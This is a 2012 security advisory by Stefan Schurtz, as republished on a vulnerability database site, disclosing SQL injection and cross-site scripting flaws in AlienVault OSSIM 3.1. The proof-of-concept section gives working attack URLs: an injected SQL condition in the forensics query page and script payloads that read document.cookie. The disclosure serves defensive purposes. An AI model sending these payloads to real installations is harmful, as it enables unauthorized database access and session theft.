Alienvault OSSIM Open Source SIEM 3.1 Multiple security vulnerabilities

2012.07.04
Risk: Medium
Local: No
Remote: Yes
CWE: N/A

##################################################################################### # Advisory: Alienvault OSSIM Open Source SIEM 3.1 Multiple security vulnerabilities # Advisory ID: SSCHADV-EDB-2012-001 # Contact: sschurtz@darksecurity.de # Author: Stefan Schurtz # Affected Software: Successfully tested on Alienvault Open Source SIEM 3.1 (32bit) # Vendor URL: http://www.alienvault.com/ # Vendor Status: informed ##################################################################################### ========================== Vulnerability Description ========================== Alienvault OSSIM Open Source SIEM 3.1 is prone to XSS and SQL-Injection vulnerabilities ================== PoC-Exploit ================== #### SQL-Injection //Authentication is needed #### https://[target]/ossim/forensics/base_qry_main.php?clear_allcriteria=1&num_result_rows=-1&submit=Query+DB¤t_view=-1&sort_order=time_d&time[0][0]=1=1) LIMIT 1--+&time[0][1]=%3E=&time[0][2]=04&time[0][3]=24&time[0][4]=2012&time[0][5]=3&time[0][6]=3&time[0][7]=3&time[0][8]=+&time[0][9]=+&time_range=today&hmenu=Forensics&smenu=Forensics #### XSS #### https://[target]/ossim/top.php?option=3&soption=3&url='"</script><script>alert(document.cookie)</script> #### XSS #### https://[target]/ossim/forensics/base_qry_main.php?clear_allcriteria=1&num_result_rows=-1&submit=Query+DB¤t_view=-1&sort_order=time_d&time[0][0]=<script>alert(document.cookie)</script>&time[0][1]=%3E=&time[0][2]=04&time[0][3]=24&time[0][4]=2012&time[0][5]=3&time[0][6]=3&time[0][7]=3&time[0][8]=+&time[0][9]=+&time_range=today&hmenu=Forensics&smenu=Forensics

References:

http://xforce.iss.net/xforce/xfdb/75290
http://www.securityfocus.com/bid/53331
http://www.koramis.com/advisories/2012/KORAMIS-ADV2012-002.txt
http://www.exploit-db.com/exploits/18800
http://www.darksecurity.de/index.php?/211-KORAMIS-ADV2012-002-Alienvault-OSSIM-Open-Source-SIEM-3.1-Multiple-security-vulnerabilities.html
http://secunia.com/advisories/49005


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2021, cxsecurity.com

 

Back to Top